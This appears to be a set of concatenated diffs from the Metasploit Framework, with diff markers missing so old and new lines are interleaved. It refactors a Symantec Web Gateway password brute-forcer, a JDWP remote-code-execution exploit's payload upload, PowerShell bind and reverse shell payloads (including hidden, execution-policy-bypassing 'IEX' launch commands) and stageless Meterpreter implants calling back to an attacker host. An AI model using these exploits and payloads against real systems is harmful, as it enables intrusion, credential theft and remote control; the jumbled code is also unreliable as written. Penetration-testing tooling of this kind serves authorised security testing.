@cred_collection = Metasploit::Framework::CredentialCollection.new(
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
password: datastore['PASSWORD'],
user_file: datastore['USER_FILE'],
userpass_file: datastore['USERPASS_FILE'],
username: datastore['USERNAME'],
user_as_pass: datastore['USER_AS_PASS']
)
@scanner = Metasploit::Framework::LoginScanner::SymantecWebGateway.new(
configure_http_login_scanner(
host: ip,
port: datastore['RPORT'],
cred_details: @cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: 5
def scanner(ip)
@scanner ||= lambda {
cred_collection = Metasploit::Framework::CredentialCollection.new(
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
password: datastore['PASSWORD'],
user_file: datastore['USER_FILE'],
userpass_file: datastore['USERPASS_FILE'],
username: datastore['USERNAME'],
user_as_pass: datastore['USER_AS_PASS']
)
)
end
return Metasploit::Framework::LoginScanner::SymantecWebGateway.new(
configure_http_login_scanner(
host: ip,
port: datastore['RPORT'],
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: 5
))
}.call
end
# Reports a good login credential
def do_report(ip, port, result)
def report_good_cred(ip, port, result)
service_data = {
address: ip,
port: port,
@ -86,39 +85,34 @@ class Metasploit3 < Msf::Auxiliary
end
def report_bad_cred(ip, rport, result)
invalidate_login(
address: ip,
port: rport,
protocol: 'tcp',
public: result.credential.public,
private: result.credential.private,
realm_key: result.credential.realm_key,
realm_value: result.credential.realm,
status: result.status,
proof: result.proof
)
end
# Attempts to login
def bruteforce(ip)
@scanner.scan! do |result|
scanner(ip).scan! do |result|
case result.status
when Metasploit::Model::Login::Status::SUCCESSFUL
print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'"
do_report(ip, rport, result)
print_brute(:level => :good, :ip => ip, :msg => "Success: '#{result.credential}'")
report_good_cred(ip, rport, result)
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
vprint_brute :level => :verror, :ip => ip, :msg => result.proof
invalidate_login(
address: ip,
port: rport,
protocol: 'tcp',
public: result.credential.public,
private: result.credential.private,
realm_key: result.credential.realm_key,
realm_value: result.credential.realm,
status: result.status,
proof: result.proof
)
vprint_brute(:level => :verror, :ip => ip, :msg => result.proof)
report_bad_cred(ip, rport, result)
when Metasploit::Model::Login::Status::INCORRECT
vprint_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
invalidate_login(
address: ip,
port: rport,
protocol: 'tcp',
public: result.credential.public,
private: result.credential.private,
realm_key: result.credential.realm_key,
realm_value: result.credential.realm,
status: result.status,
proof: result.proof
)
vprint_brute(:level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'")
report_bad_cred(ip, rport, result)
end
end
end
@ -126,9 +120,8 @@ class Metasploit3 < Msf::Auxiliary
# Start here
def run_host(ip)
init(ip)
unless @scanner.check_setup
print_brute :level => :error, :ip => ip, :msg => 'Target is not Symantec Web Gateway'
unless scanner(ip).check_setup
print_brute(:level => :error, :ip => ip, :msg => 'Target is not Symantec Web Gateway')
return
end

View File

@ -27,7 +27,8 @@ class Metasploit3 < Msf::Auxiliary
[
OptBool.new('STORE_NOTES', [ true, 'Store the captured information in notes. Use "notes -t http.title" to view', true ]),
OptBool.new('SHOW_ERRORS', [ true, 'Show error messages relating to grabbing titles on the console', true ]),
OptBool.new('SHOW_TITLES', [ true, 'Show the titles on the console as they are grabbed', true ])
OptBool.new('SHOW_TITLES', [ true, 'Show the titles on the console as they are grabbed', true ]),
OptString.new('TARGETURI', [true, 'The base path', '/'])
], self.class)
deregister_options('VHOST')
@ -45,8 +46,7 @@ class Metasploit3 < Msf::Auxiliary
begin
# Send a normal GET request
res = send_request_cgi(
uri: '/',
method: 'GET'
'uri' => normalize_uri(target_uri.path)
)
# If no response, quit now

View File

@ -34,6 +34,7 @@ class Metasploit3 < Msf::Exploit::Remote
SETSTATICVALUES_SIG = [3, 2]
INVOKESTATICMETHOD_SIG = [3, 3]
CREATENEWINSTANCE_SIG = [3, 4]
ARRAYNEWINSTANCE_SIG = [4, 1]
REFERENCETYPE_SIG = [9, 1]
INVOKEMETHOD_SIG = [9, 6]
STRINGVALUE_SIG = [10, 1]
@ -41,6 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote
THREADSUSPEND_SIG = [11, 2]
THREADRESUME_SIG = [11, 3]
THREADSTATUS_SIG = [11, 4]
ARRAYSETVALUES_SIG = [13, 3]
EVENTSET_SIG = [15, 1]
EVENTCLEAR_SIG = [15, 2]
EVENTCLEARALL_SIG = [15, 3]
@ -173,13 +175,30 @@ class Metasploit3 < Msf::Exploit::Remote
# Reads packet response for JDWP protocol
def read_reply(timeout = default_timeout)
response = sock.get_once(-1, timeout)
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless response
pktlen, id, flags, errcode = response.unpack('NNCn')
response.slice!(0..10)
if errcode != 0 && flags == REPLY_PACKET_TYPE
fail_with(Failure::Unknown, "#{peer} - Server sent error with code #{errcode}")
length = sock.get_once(4, timeout)
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response length") unless length
pkt_len = length.unpack('N')[0]
if pkt_len < 4
fail_with(Failure::Unknown, "#{peer} - Received corrupted response")
end
pkt_len = pkt_len - 4
response = sock.get_once(pkt_len, timeout)
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless response
while response.length < pkt_len
partial = sock.get_once(pkt_len, timeout)
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless partial
response << partial
end
fail_with(Failure::Unknown, "#{peer} - Received corrupted response") unless response.length == pkt_len
id, flags, err_code = response.unpack('NCn')
response.slice!(0..6)
if err_code != 0 && flags == REPLY_PACKET_TYPE
fail_with(Failure::Unknown, "#{peer} - Server sent error with code #{err_code}")
end
response
end
@ -322,10 +341,6 @@ class Metasploit3 < Msf::Exploit::Remote
"#{@vars["vm_name"]} - #{@vars["vm_version"]}"
end
def is_java_eight
version.downcase =~ /1[.]8[.]/
end
# Returns reference for all threads currently running on target VM
def get_all_threads
sock.put(create_packet(ALLTHREADS_SIG))
@ -630,6 +645,36 @@ class Metasploit3 < Msf::Exploit::Remote
buf
end
# Creates a byte[]
def create_array(len)
target_class = get_class_by_name("[B")
fail_with(Failure::Unknown, "target_class is nil") if target_class.nil?
type_id = target_class["reftype_id"]
fail_with(Failure::Unknown, "type_id is nil") if type_id.nil?
data = format(@vars["referencetypeid_size"], type_id)
data << [len].pack('N')
sock.put(create_packet(ARRAYNEWINSTANCE_SIG, data))
buf = read_reply
buf
end
# Initializes the byte[] with values
def set_values(obj_id, args = [])
data = format(@vars["objectid_size"], obj_id)
data << [0].pack('N')
data << [args.length].pack('N')
args.each do |arg|
data << [arg].pack('C')
end
sock.put(create_packet(ARRAYSETVALUES_SIG, data))
read_reply
end
def temp_path
return nil unless datastore['TMP_PATH']
unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\')
@ -709,43 +754,14 @@ class Metasploit3 < Msf::Exploit::Remote
# Stores the payload on a new string created in target VM
def upload_payload(thread_id, pl_exe)
size = @vars["objectid_size"]
if is_java_eight
runtime_class , runtime_meth = get_class_and_method("Ljava/util/Base64;", "getDecoder")
buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
else
runtime_class , runtime_meth = get_class_and_method("Lsun/misc/BASE64Decoder;", "<init>")
buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
end
unless buf[0] == [TAG_OBJECT].pack('C')
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
end
decoder = unformat(size, buf[1..1+size-1])
if decoder.nil? || decoder == 0
fail_with(Failure::Unknown, "Failed to create Base64 decoder object")
end
cmd_obj_ids = create_string("#{Rex::Text.encode_base64(pl_exe)}")
if cmd_obj_ids.length == 0
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping")
end
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
data = [TAG_OBJECT].pack('C')
data << format(size, cmd_obj_id)
data_array = [data]
if is_java_eight
runtime_class , runtime_meth = get_class_and_method("Ljava/util/Base64$Decoder;", "decode", "(Ljava/lang/String;)[B")
else
runtime_class , runtime_meth = get_class_and_method("Lsun/misc/CharacterDecoder;", "decodeBuffer", "(Ljava/lang/String;)[B")
end
buf = invoke(decoder, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array)
unless buf[0] == [TAG_ARRAY].pack('C')
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected ByteArray")
end
buf = create_array(pl_exe.length)
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Array") unless buf[0] == [TAG_ARRAY].pack('C')
pl = unformat(size, buf[1..1+size-1])
fail_with(Failure::Unknown, "Failed to create byte array to store payload") if pl.nil? || (pl == 0)
set_values(pl, pl_exe.bytes)
pl
end

View File

@ -4,26 +4,28 @@
##
require 'msf/core'
require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/powershell'
require 'msf/core/payload/windows/powershell'
require 'msf/core/handler/bind_tcp'
module Metasploit3
CachedSize = 1342
CachedSize = 1510
include Msf::Payload::Single
include Rex::Powershell::Command
include Msf::Payload::Windows::Powershell
def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows Interactive Powershell Session, Bind TCP',
'Description' => 'Interacts with a powershell session on an established socket connection',
'Author' =>
[
'Author' => [
'Ben Turner', # benpturner
'Dave Hardy' # davehardy20
],
'References' =>
[
'References' => [
['URL', 'https://www.nettitude.co.uk/interactive-powershell-session-via-metasploit/']
],
'License' => MSF_LICENSE,
@ -32,46 +34,15 @@ module Metasploit3
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::PowerShell,
'RequiredCmd' => 'generic',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
'Payload' => { 'Payload' => '' }
))
register_options(
[
register_options( [
OptString.new('LOAD_MODULES', [ false, "A list of powershell modules seperated by a comma to download over the web", nil ]),
], self.class)
end
def generate
lport = datastore['LPORT']
lhost = datastore['LHOST']
template_path = ::File.join( Msf::Config.data_directory, 'exploits', 'powershell','powerfun.ps1')
script_in = ""
::File.open(template_path, "rb") do |fd|
script_in << fd.read(fd.stat.size)
end
script_in << "\npowerfun -Command bind"
mods = ''
if datastore['LOAD_MODULES']
mods_array = datastore['LOAD_MODULES'].to_s.split(',')
mods_array.collect(&:strip)
vprint_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
mods_array.each {|m| vprint_good " #{m}"}
mods = "\"#{mods_array.join("\",\n\"")}\""
script_in << " -Download true\n"
end
script_in.gsub!('MODULES_REPLACE', mods)
script_in.gsub!('LPORT_REPLACE', lport.to_s)
script_in.gsub!('LHOST_REPLACE', lhost.to_s)
script = Rex::Powershell::Command.compress_script(script_in)
"powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})"
generate_powershell_code("Bind")
end
end

View File

@ -5,13 +5,16 @@
require 'msf/core'
require 'msf/base/sessions/powershell'
require 'msf/core/payload/windows/powershell'
require 'msf/core/handler/reverse_tcp_ssl'
module Metasploit3
CachedSize = 1342
CachedSize = 1518
include Msf::Payload::Single
include Rex::Powershell::Command
include Msf::Payload::Windows::Powershell
def initialize(info = {})
super(merge_info(info,
@ -29,7 +32,7 @@ module Metasploit3
'License' => MSF_LICENSE,
'Platform' => 'windows',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseTcp,
'Handler' => Msf::Handler::ReverseTcpSsl,
'Session' => Msf::Sessions::PowerShell,
'RequiredCmd' => 'generic',
'Payload' =>
@ -45,34 +48,7 @@ module Metasploit3
end
def generate
lport = datastore['LPORT']
lhost = datastore['LHOST']
template_path = ::File.join( Msf::Config.data_directory, 'exploits', 'powershell','powerfun.ps1')
script_in = ""
::File.open(template_path, "rb") do |fd|
script_in << fd.read(fd.stat.size)
end
script_in << "\npowerfun -Command reverse"
mods = ''
if datastore['LOAD_MODULES']
mods_array = datastore['LOAD_MODULES'].to_s.split(',')
mods_array.collect(&:strip)
vprint_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
mods_array.each {|m| vprint_good " #{m}"}
mods = "\"#{mods_array.join("\",\n\"")}\""
script_in << " -Download true\n"
end
script_in.gsub!('MODULES_REPLACE', mods)
script_in.gsub!('LPORT_REPLACE', lport.to_s)
script_in.gsub!('LHOST_REPLACE', lhost.to_s)
script = Rex::Powershell::Command.compress_script(script_in)
"powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})"
generate_powershell_code("Reverse")
end
end

View File

@ -4,16 +4,21 @@
##
require 'msf/core'
require 'msf/core/payload/transport_config'
require 'msf/core/handler/bind_tcp'
require 'msf/core/payload/windows/stageless_meterpreter'
require 'msf/core/payload/windows/meterpreter_loader'
require 'msf/base/sessions/meterpreter_x86_win'
require 'msf/base/sessions/meterpreter_options'
require 'rex/payloads/meterpreter/config'
module Metasploit4
CachedSize = :dynamic
CachedSize = 884270
include Msf::Payload::Windows::StagelessMeterpreter
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
include Msf::Payload::Single
include Msf::Payload::Windows::MeterpreterLoader
include Msf::Sessions::MeterpreterOptions
def initialize(info = {})
@ -35,9 +40,32 @@ module Metasploit4
end
def generate
# blank LHOST indicates bind payload
url = "tcp://:#{datastore['LPORT']}"
generate_stageless_x86(url)
stage_meterpreter(true) + generate_config
end
def generate_config(opts={})
unless opts[:uuid]
opts[:uuid] = Msf::Payload::UUID.new(
platform: 'windows',
arch: ARCH_X86
)
end
# create the configuration block
config_opts = {
arch: opts[:uuid].arch,
exitfunk: datastore['EXITFUNC'],
expiration: datastore['SessionExpirationTimeout'].to_i,
uuid: opts[:uuid],
transports: [transport_config_bind_tcp(opts)],
extensions: (datastore['EXTENSIONS'] || '').split(',')
}
# create the configuration instance based off the parameters
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
# return the binary version of it
config.to_b
end
end

View File

@ -4,18 +4,21 @@
##
require 'msf/core'
require 'msf/core/payload/transport_config'
require 'msf/core/handler/reverse_http'
require 'msf/core/handler/reverse_http/stageless'
require 'msf/core/payload/windows/stageless_meterpreter'
require 'msf/core/payload/windows/meterpreter_loader'
require 'msf/base/sessions/meterpreter_x86_win'
require 'msf/base/sessions/meterpreter_options'
require 'rex/payloads/meterpreter/config'
module Metasploit4
CachedSize = :dynamic
CachedSize = 885314
include Msf::Payload::Windows::StagelessMeterpreter
include Msf::Handler::ReverseHttp::Stageless
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
include Msf::Payload::Single
include Msf::Payload::Windows::MeterpreterLoader
include Msf::Sessions::MeterpreterOptions
def initialize(info = {})
@ -31,17 +34,38 @@ module Metasploit4
'Session' => Msf::Sessions::Meterpreter_x86_Win
))
initialize_stageless
register_options([
OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]),
], self.class)
end
def generate
# generate a stageless payload using the x86 version of
# the stageless generator
opts = {
:ssl => false,
:generator => method(:generate_stageless_x86)
stage_meterpreter(true) + generate_config
end
def generate_config(opts={})
unless opts[:uuid]
opts[:uuid] = Msf::Payload::UUID.new(
platform: 'windows',
arch: ARCH_X86
)
end
# create the configuration block
config_opts = {
arch: opts[:uuid].arch,
exitfunk: datastore['EXITFUNC'],
expiration: datastore['SessionExpirationTimeout'].to_i,
uuid: opts[:uuid],
transports: [transport_config_reverse_http(opts)],
extensions: (datastore['EXTENSIONS'] || '').split(',')
}
generate_stageless(opts)
# create the configuration instance based off the parameters
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
# return the binary version of it
config.to_b
end
end

View File

@ -4,18 +4,21 @@
##
require 'msf/core'
require 'msf/core/payload/transport_config'
require 'msf/core/handler/reverse_https'
require 'msf/core/handler/reverse_http/stageless'
require 'msf/core/payload/windows/stageless_meterpreter'
require 'msf/core/payload/windows/meterpreter_loader'
require 'msf/base/sessions/meterpreter_x86_win'
require 'msf/base/sessions/meterpreter_options'
require 'rex/payloads/meterpreter/config'
module Metasploit4
CachedSize = :dynamic
CachedSize = 885314
include Msf::Payload::Windows::StagelessMeterpreter
include Msf::Handler::ReverseHttp::Stageless
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
include Msf::Payload::Single
include Msf::Payload::Windows::MeterpreterLoader
include Msf::Sessions::MeterpreterOptions
def initialize(info = {})
@ -31,17 +34,37 @@ module Metasploit4
'Session' => Msf::Sessions::Meterpreter_x86_Win
))
initialize_stageless
register_options([
OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]),
], self.class)
end
def generate
# generate a stageless payload using the x86 version of
# the stageless generator
opts = {
:ssl => true,
:generator => method(:generate_stageless_x86)
}
generate_stageless(opts)
stage_meterpreter(true) + generate_config
end
def generate_config(opts={})
unless opts[:uuid]
opts[:uuid] = Msf::Payload::UUID.new(
platform: 'windows',
arch: ARCH_X86
)
end
# create the configuration block
config_opts = {
arch: opts[:uuid].arch,
exitfunk: datastore['EXITFUNC'],
expiration: datastore['SessionExpirationTimeout'].to_i,
uuid: opts[:uuid],
transports: [transport_config_reverse_https(opts)],
extensions: (datastore['EXTENSIONS'] || '').split(',')
}
# create the configuration instance based off the parameters
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
# return the binary version of it
config.to_b
end
end

View File

@ -4,16 +4,21 @@
##
require 'msf/core'
require 'msf/core/payload/transport_config'
require 'msf/core/handler/reverse_tcp'
require 'msf/core/payload/windows/stageless_meterpreter'
require 'msf/core/payload/windows/meterpreter_loader'
require 'msf/base/sessions/meterpreter_x86_win'
require 'msf/base/sessions/meterpreter_options'
require 'rex/payloads/meterpreter/config'
module Metasploit4
CachedSize = :dynamic
CachedSize = 884270
include Msf::Payload::Windows::StagelessMeterpreter
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
include Msf::Payload::Single
include Msf::Payload::Windows::MeterpreterLoader
include Msf::Sessions::MeterpreterOptions
def initialize(info = {})
@ -36,8 +41,32 @@ module Metasploit4
end
def generate
url = "tcp6://#{datastore['LHOST']}:#{datastore['LPORT']}?#{datastore['SCOPEID']}"
generate_stageless_x86(url)
stage_meterpreter(true) + generate_config
end
def generate_config(opts={})
unless opts[:uuid]
opts[:uuid] = Msf::Payload::UUID.new(
platform: 'windows',
arch: ARCH_X86
)
end
# create the configuration block
config_opts = {
arch: opts[:uuid].arch,
exitfunk: datastore['EXITFUNC'],
expiration: datastore['SessionExpirationTimeout'].to_i,
uuid: opts[:uuid],
transports: [transport_config_reverse_ipv6_tcp(opts)],
extensions: (datastore['EXTENSIONS'] || '').split(',')
}
# create the configuration instance based off the parameters
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
# return the binary version of it
config.to_b
end
end

View File

@ -4,16 +4,21 @@
##
require 'msf/core'
require 'msf/core/payload/transport_config'
require 'msf/core/handler/reverse_tcp'
require 'msf/core/payload/windows/stageless_meterpreter'
require 'msf/core/payload/windows/meterpreter_loader'
require 'msf/base/sessions/meterpreter_x86_win'
require 'msf/base/sessions/meterpreter_options'
require 'rex/payloads/meterpreter/config'
module Metasploit3
CachedSize = :dynamic
CachedSize = 884270
include Msf::Payload::Windows::StagelessMeterpreter
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
include Msf::Payload::Single
include Msf::Payload::Windows::MeterpreterLoader
include Msf::Sessions::MeterpreterOptions
def initialize(info = {})
@ -35,8 +40,32 @@ module Metasploit3
end
def generate
url = "tcp://#{datastore['LHOST']}:#{datastore['LPORT']}"
generate_stageless_x86(url)
stage_meterpreter(true) + generate_config
end
def generate_config(opts={})
unless opts[:uuid]
opts[:uuid] = Msf::Payload::UUID.new(
platform: 'windows',
arch: ARCH_X86
)
end
# create the configuration block, which for staged connections is really simple.
config_opts = {
arch: opts[:uuid].arch,
exitfunk: datastore['EXITFUNC'],
expiration: datastore['SessionExpirationTimeout'].to_i,
uuid: opts[:uuid],
transports: [transport_config_reverse_tcp(opts)],
extensions: (datastore['EXTENSIONS'] || '').split(',')
}
# create the configuration instance based off the parameters
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
# return the binary version of it
config.to_b
end
end

View File

@ -4,9 +4,11 @@
##
require 'msf/core'
require 'msf/core/handler/bind_tcp'
require 'msf/core/payload/windows/exec'
require 'msf/core/payload/windows/powershell'
require 'msf/base/sessions/powershell'
require 'msf/core/handler/bind_tcp'
###
#
# Extends the Exec payload to add a new user.
@ -14,10 +16,11 @@ require 'msf/base/sessions/powershell'
###
module Metasploit3
CachedSize = 1543
CachedSize = 1695
include Msf::Payload::Windows::Exec
include Rex::Powershell::Command
include Msf::Payload::Windows::Powershell
def initialize(info = {})
super(update_info(info,
@ -52,33 +55,6 @@ module Metasploit3
# Override the exec command string
#
def command_string
lport = datastore['LPORT']
template_path = ::File.join( Msf::Config.data_directory, 'exploits', 'powershell','powerfun.ps1')
script_in = ""
::File.open(template_path, "rb") do |fd|
script_in << fd.read(fd.stat.size)
end
script_in = File.read(template_path)
script_in << "\npowerfun -Command bind"
mods = ''
if datastore['LOAD_MODULES']
mods_array = datastore['LOAD_MODULES'].to_s.split(',')
mods_array.collect(&:strip)
print_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
mods_array.each {|m| vprint_good " #{m}"}
mods = "\"#{mods_array.join("\",\n\"")}\""
script_in << " -Download true\n"
end
script_in.gsub!('MODULES_REPLACE', mods)
script_in.gsub!('LPORT_REPLACE', lport.to_s)
script = Rex::Powershell::Command.compress_script(script_in)
"powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})"
generate_powershell_code("Bind")
end
end

View File

@ -4,9 +4,11 @@
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/core/payload/windows/exec'
require 'msf/core/payload/windows/powershell'
require 'msf/base/sessions/powershell'
require 'msf/core/handler/reverse_tcp_ssl'
###
#
# Extends the Exec payload to add a new user.
@ -14,9 +16,10 @@ require 'msf/base/sessions/powershell'
###
module Metasploit3
CachedSize = 1527
CachedSize = 1703
include Msf::Payload::Windows::Exec
include Msf::Payload::Windows::Powershell
include Rex::Powershell::Command
def initialize(info = {})
@ -35,7 +38,7 @@ module Metasploit3
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseTcp,
'Handler' => Msf::Handler::ReverseTcpSsl,
'Session' => Msf::Sessions::PowerShell,
))
@ -52,33 +55,6 @@ module Metasploit3
# Override the exec command string
#
def command_string
lport = datastore['LPORT']
lhost = datastore['LHOST']
template_path = ::File.join( Msf::Config.data_directory, 'exploits', 'powershell','powerfun.ps1')
script_in = ""
::File.open(template_path, "rb") do |fd|
script_in << fd.read(fd.stat.size)
end
script_in << "\npowerfun -Command reverse"
mods = ''
if datastore['LOAD_MODULES']
mods_array = datastore['LOAD_MODULES'].to_s.split(',')
mods_array.collect(&:strip)
print_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
mods_array.each {|m| vprint_good " #{m}"}
mods = "\"#{mods_array.join("\",\n\"")}\""
script_in << " -Download true\n"
end
script_in.gsub!('MODULES_REPLACE', mods)
script_in.gsub!('LPORT_REPLACE', lport.to_s)
script_in.gsub!('LHOST_REPLACE', lhost.to_s)
script = Rex::Powershell::Command.compress_script(script_in)
"powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})"
generate_powershell_code("Reverse")
end
end

View File

@ -4,16 +4,21 @@
##
require 'msf/core'
require 'msf/core/payload/transport_config'
require 'msf/core/handler/bind_tcp'
require 'msf/core/payload/windows/x64/stageless_meterpreter'
require 'msf/core/payload/windows/x64/meterpreter_loader'
require 'msf/base/sessions/meterpreter_x64_win'
require 'msf/base/sessions/meterpreter_options'
require 'rex/payloads/meterpreter/config'
module Metasploit4
CachedSize = :dynamic
CachedSize = 1102898
include Msf::Payload::Windows::StagelessMeterpreter_x64
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
include Msf::Payload::Single
include Msf::Payload::Windows::MeterpreterLoader_x64
include Msf::Sessions::MeterpreterOptions
def initialize(info = {})
@ -35,9 +40,32 @@ module Metasploit4
end
def generate
# blank LHOST indicates bind payload
url = "tcp://:#{datastore['LPORT']}"
generate_stageless_x64(url)
stage_meterpreter(true) + generate_config
end
def generate_config(opts={})
unless opts[:uuid]
opts[:uuid] = Msf::Payload::UUID.new(
platform: 'windows',
arch: ARCH_X64
)
end
# create the configuration block, which for staged connections is really simple.
config_opts = {
arch: opts[:uuid].arch,
exitfunk: datastore['EXITFUNC'],
expiration: datastore['SessionExpirationTimeout'].to_i,
uuid: opts[:uuid],
transports: [transport_config_bind_tcp(opts)],
extensions: (datastore['EXTENSIONS'] || '').split(',')
}
# create the configuration instance based off the parameters
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
# return the binary version of it
config.to_b
end
end

View File

@ -4,18 +4,21 @@
##
require 'msf/core'
require 'msf/core/payload/transport_config'
require 'msf/core/handler/reverse_http'
require 'msf/core/handler/reverse_http/stageless'
require 'msf/core/payload/windows/x64/stageless_meterpreter'
require 'msf/core/payload/windows/x64/meterpreter_loader'
require 'msf/base/sessions/meterpreter_x64_win'
require 'msf/base/sessions/meterpreter_options'
require 'rex/payloads/meterpreter/config'
module Metasploit4
CachedSize = :dynamic
CachedSize = 1103942
include Msf::Payload::Windows::StagelessMeterpreter_x64
include Msf::Handler::ReverseHttp::Stageless
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
include Msf::Payload::Single
include Msf::Payload::Windows::MeterpreterLoader_x64
include Msf::Sessions::MeterpreterOptions
def initialize(info = {})
@ -31,17 +34,38 @@ module Metasploit4
'Session' => Msf::Sessions::Meterpreter_x64_Win
))
initialize_stageless
register_options([
OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]),
], self.class)
end
def generate
# generate a stageless payload using the x64 version of
# the stageless generator
opts = {
:ssl => false,
:generator => method(:generate_stageless_x64)
stage_meterpreter(true) + generate_config
end
def generate_config(opts={})
unless opts[:uuid]
opts[:uuid] = Msf::Payload::UUID.new(
platform: 'windows',
arch: ARCH_X64
)
end
# create the configuration block
config_opts = {
arch: opts[:uuid].arch,
exitfunk: datastore['EXITFUNC'],
expiration: datastore['SessionExpirationTimeout'].to_i,
uuid: opts[:uuid],
transports: [transport_config_reverse_http(opts)],
extensions: (datastore['EXTENSIONS'] || '').split(',')
}
generate_stageless(opts)
# create the configuration instance based off the parameters
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
# return the binary version of it
config.to_b
end
end

View File

@ -4,18 +4,21 @@
##
require 'msf/core'
require 'msf/core/payload/transport_config'
require 'msf/core/handler/reverse_https'
require 'msf/core/handler/reverse_http/stageless'
require 'msf/core/payload/windows/x64/stageless_meterpreter'
require 'msf/core/payload/windows/x64/meterpreter_loader'
require 'msf/base/sessions/meterpreter_x64_win'
require 'msf/base/sessions/meterpreter_options'
require 'rex/payloads/meterpreter/config'
module Metasploit4
CachedSize = :dynamic
CachedSize = 1103942
include Msf::Payload::Windows::StagelessMeterpreter_x64
include Msf::Handler::ReverseHttp::Stageless
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
include Msf::Payload::Single
include Msf::Payload::Windows::MeterpreterLoader_x64
include Msf::Sessions::MeterpreterOptions
def initialize(info = {})
@ -31,17 +34,38 @@ module Metasploit4
'Session' => Msf::Sessions::Meterpreter_x64_Win
))
initialize_stageless
register_options([
OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]),
], self.class)
end
def generate
# generate a stageless payload using the x64 version of
# the stageless generator
opts = {
:ssl => true,
:generator => method(:generate_stageless_x64)
stage_meterpreter(true) + generate_config
end
def generate_config(opts={})
unless opts[:uuid]
opts[:uuid] = Msf::Payload::UUID.new(
platform: 'windows',
arch: ARCH_X64
)
end
# create the configuration block
config_opts = {
arch: opts[:uuid].arch,
exitfunk: datastore['EXITFUNC'],
expiration: datastore['SessionExpirationTimeout'].to_i,
uuid: opts[:uuid],
transports: [transport_config_reverse_http(opts)],
extensions: (datastore['EXTENSIONS'] || '').split(',')
}
generate_stageless(opts)
# create the configuration instance based off the parameters
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
# return the binary version of it
config.to_b
end
end

View File

@ -4,16 +4,21 @@
##
require 'msf/core'
require 'msf/core/payload/transport_config'
require 'msf/core/handler/reverse_tcp'
require 'msf/core/payload/windows/x64/stageless_meterpreter'
require 'msf/core/payload/windows/x64/meterpreter_loader'
require 'msf/base/sessions/meterpreter_x64_win'
require 'msf/base/sessions/meterpreter_options'
require 'rex/payloads/meterpreter/config'
module Metasploit4
CachedSize = :dynamic
CachedSize = 1102898
include Msf::Payload::Windows::StagelessMeterpreter_x64
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
include Msf::Payload::Single
include Msf::Payload::Windows::MeterpreterLoader_x64
include Msf::Sessions::MeterpreterOptions
def initialize(info = {})
@ -36,8 +41,32 @@ module Metasploit4
end
def generate
url = "tcp6://#{datastore['LHOST']}:#{datastore['LPORT']}?#{datastore['SCOPEID']}"
generate_stageless_x64(url)
stage_meterpreter(true) + generate_config
end
def generate_config(opts={})
unless opts[:uuid]
opts[:uuid] = Msf::Payload::UUID.new(
platform: 'windows',
arch: ARCH_X64
)
end
# create the configuration block
config_opts = {
arch: opts[:uuid].arch,
exitfunk: datastore['EXITFUNC'],
expiration: datastore['SessionExpirationTimeout'].to_i,
uuid: opts[:uuid],
transports: [transport_config_reverse_ipv6_tcp(opts)],
extensions: (datastore['EXTENSIONS'] || '').split(',')
}
# create the configuration instance based off the parameters
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
# return the binary version of it
config.to_b
end
end

